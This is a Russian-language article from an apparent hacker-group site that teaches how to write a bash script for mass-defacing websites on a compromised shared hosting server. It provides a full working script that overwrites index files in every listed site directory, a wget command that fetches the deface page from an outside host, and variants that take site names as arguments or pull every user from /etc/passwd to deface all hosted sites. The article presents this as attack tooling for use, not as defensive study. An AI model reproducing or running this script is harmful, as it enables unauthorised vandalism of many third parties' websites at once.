| RSS



Меню

Bookmark and Share


Статистика
Ваш IP: 216.73.216.185
Вы используете: v





Сейчас на сайте:

Тех поддержка ->

Облако тэгов
ОС написать свою операционную систему видио сторона Обратная Tor антенна ноута php эксплоит Windows Server 2008 Elastix QIP Virtual kernel proc Tune sysctl freeBSD mrtg LiveCD GEO Bluetooth game Video emulator Python Shell phpinfo поколения червь Conficker вирус троян лаборатория касперского пиратство Apple iPhone Финансовый кризис Microsoft twitter социальная сеть анонимность лицензия Open Source уязвимость MySQL база данных PostgreSQL Закон Франция Пират Skype мобильный Deutsche Telekom хакер trend micro кибератака Германия робот Персональные данные Ноутбук Интернет китай цензура windows vista acer Linux патент TomTom браузер Firefox Internet Explorer Opera Safari Intel Oracle патч Банкомат IBM США прокси-сервер Dell контроль кибербезопасность приговор Mozilla Chrome безопасность Госдума СМИ КПРФ Windows 8 взлом Пентагон Украина Facebook Cisco Windows XP нетбук торрент музыка Биометрический Nokia телефон ФБР IP-адрес sms RSA java Google Captcha Symantec Спам Антивирус тест Windows 7 операционная система windows провайдер авторское право rapidshare UNIX свиной грипп шантаж Дети копирайт McAfee HTTPS администратор icann студент Норвегия New York Times YouTube Warner Music КНДР БД Ubuntu касперский Россия РФ Патриоты сервер хостинг Wi-Fi суд пароль блог фишинг одноклассники Медведев контрафакт мошенник sony Universal Gps по JavaScript Хакеры Yahoo фас компьютер софт Минкомсвязи программист Сбой мошенничество Доктор ВЕб Вконтакте исходный код МВД фильтр порнография свобода слова казахстан онлайн игры сисадмин Autodesk Gmail кредитная карта LiveJournal шифрование банк Нанотехнологии wikipedia выборы DNS Android Simple атака Mac OS X Security Essentials домен ФСБ прокуратура уголовное дело ICQ Sophos Google Voice ошибка военные DARPA сайт турция конференция спамер Полиция Koobface Великобритания белоруссия Грузия Европа Dr.WEB Билл Гейтс спецслужбы терроризм ес Royal Bank of Scotland смартфон F-Secure Symbian фильм милиция инновации Microsoft Office SP1 Новая Зеландия Adobe Австралия IDC новости Internet Explorer 9 iPad Ирландия поиск финляндия МТС Реклама слежка испания минобороны Zeus личные данные eset защита виртуализация информатика Черный список BlackBerry индия Москва социальные сети flash player paypal BitDefender Winamp email сертификат блокировщик налог Anonymous технологии Ассанж Оптоволокно передача данных Сколково арест Samsung Иск учетная запись Корея комментарии оборудование исследование Санкт-Петербург Таиланд Обновление климат SOPA PIPA NASA тендер МЕТРО Megaupload разработчики Плагин NTFS отчет RIM приложение мобильная связь Инвестиции платформа DRM логотип DDoS-атака роскомнадзор платежная система КНР

Главная » Статьи » Общие Статьи

Пишем скрипт для MASS DEFACING

Сперва мы хотели просто выложить скрипт для массового изменения первых страниц сайтов на взломанном хостинге, но тут возникла необходимость в коментариях к скрипту, которые оказались больше, чем сам скрипт =)
Да, к тому же, нюансы каждого отдельного случая требуют дополнительного перекроя программы. Поэтому мы решили просто показать, как можно самому написать подобный скрипт.

Итак, перед нами задача: задефейсить сразу и много сайтов на одном хостинге (как получить для этого соответствующие права - не тема нашей статьи).
Входные данные:
- мы имеем возможность писать в папки всех юзеров;
- мы знаем какие сайты мы будем дефейсить, а какие нет (мы же не вандалы, чтоб дефейсить сайты безобидных домашних страничек);
- пусть имена каталогов сайтов будут site1, site2, site3...;
- из конфига апача мы узнали, что файлы сайтов хранятся в директориях типа: /home/site1/htdocs.

Ну, к делу!
На чем будем писать?
Что за вопрос? Какой родной язык для юникс-лайк систем? BASH!
Вот на нем и будем писать - уж достоверно будем знать, что наш скрипт в системе запустится =)

В начале скрипта принято указывать так называемый "ша-банг" - путь к командному интерпретатору. Рисуем наш Ша-Банг (хотя, можно и без него) и дальше по тексту (все читаем в коментариях к скрипту, которые в bash отделяются символом "#"):

#!/bin/bash
########################################
# Теперь нам нужно в коментариях добавить #
# наш копирайт, или гритс/факс -                   #
# короче, что-то нарисовать надо,               #
# а то как узнать, что это наш скрипт? =) #
####################################
# Зададим директорию, в которой хранятся файлы.
# В нашем примере это "htdocs/".
# Если таковой нет, укажем просто слеш "/"
IND_DIR=/htdocs/
#зададим расширение для бекапа индекса (помните: мы же не вандалы!):
P_BKP=".bkp"
#указываем путь к главной директории, где все наши сайты и размещаются:
DP_HOME=/home/
# Укажем и путь к файлику с нашим дефейсом,
# который мы уже успели закачать,
# скажем так: wget -O /tmp/def.html http://gipshack.ru/index.htm
DEF=/tmp/def.html
#дальше, все будет происходить в цикле:
#имена сайтов будут браться в качестве переменной SITE из значений,
#которые мы укажем вместо наших site1 site2 и site3

for SITE in "site1" "site2" "site3"
do
CD_DEF=`echo "${DP_HOME}${SITE}${IND_DIR}"` #формируем имя директории
cd ${CD_DEF} #сайта и переходим в нее
#Так, теперь задаем возможные имена файлов индекса
for FILE in index.html index.php index.htm index.shtml index.shtm
  do
   FILE_BKP=`echo "${FILE}${P_BKP}"`
   if [ -e "$FILE" ] #проверяем, есть ли такой файл
    then
    cp "${FILE}" "${FILE_BKP}" #Если да, то делаем бекап
    echo "Defacing $FILE in $CD_DEF"
    cat "${DEF}" > "${FILE}" #И заменяем индекс на наш дефейс
        continue
       fi
    done
done
exit 0

Сохраняем скрипт на сервере с именем, скажем, massdef.sh, даем ему права на выполнение:
chmod 0755
и запускаем:
./massdef.sh
Или просто запускаем через командный интерпретатор (в этом случае нам не нужен Ша-Банг):
bash massdef.sh
Ну вот, и все. Скриптик отчитается нам какие файлы и в каких директориях он заменил.
Что можно еще придумать?

Несколько полезностей на любителя.
1. Можно сделать вариант с вводом имен папок сайтов в командной строке как аргументов скрипта.
Для этого мы меняем цикл, который получает значения переменной SITE.
Собственно, перебор входных аргументов можно организовать при помощи команды shift:

until [ -z "$1" ] # Выполняем цикл, пока есть аргумент
 do
 SITE=$1 # Присвоим значение первого аргумента переменной SITE
# А здесь выполним то, что у нас было от "CD_DEF="
# и до первого "done"
 shift # Сдвигаем аргументы на 1
done

Тогда наш скрипт будем запускать где-то так:
./massdef.sh site1 site2 site3

2. Если имена директорий для переменной SITE совпадают с именами пользователей системы (такое бывает часто), и мы хотим все их задефейсить (пример с порнушным хостингом), то можно брать имена пользователей из файла /etc/passwd.
Нам поможет прикольная команда cut. Она предназначена для извлечения отдельных элементов (полей) из текстовых файлов.
Команда имеет два основных ключа:
-d для указания разделителя полей (в нашем случае будем использовать двоеточие ':')
-f для указания номера поля.
Таким образом, для выборки имени пользователя /сайта (в нашем примере) из файла паролей, можно воспользоваться такой конструкцией:

FILENAME=/etc/passwd

for SITE in $(cut -d: -f1 $FILENAME)
do
# А здесь вставим стандартные наши процедуры определения
# полного пути к директории и дальнейшей дефейс-акции
done # и завершаем цикл.

На этом пока все.
Надеемся, что эта статья станет для кого-то началом в изучении интересного языка программирования bash =)

Категория: Общие Статьи | Добавил: aka_kludge (20.09.2008) | Автор: GipsHackers Crew
Просмотров: 1944 | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
    Главная      
...
На службе : дней

02:41
Обновить


Пользователи
aka_kludge
qwerty
LeadyTOR
aka_Atlantis
AdHErENt
mAss
Sissutr
hiss
DrBio
tHick

Поиск


Copyright tHR - TeAM 2026 г. admin: aka_kludge (ICQ:334449009) Moderator's: LeadyTOR, ... Яндекс.Метрика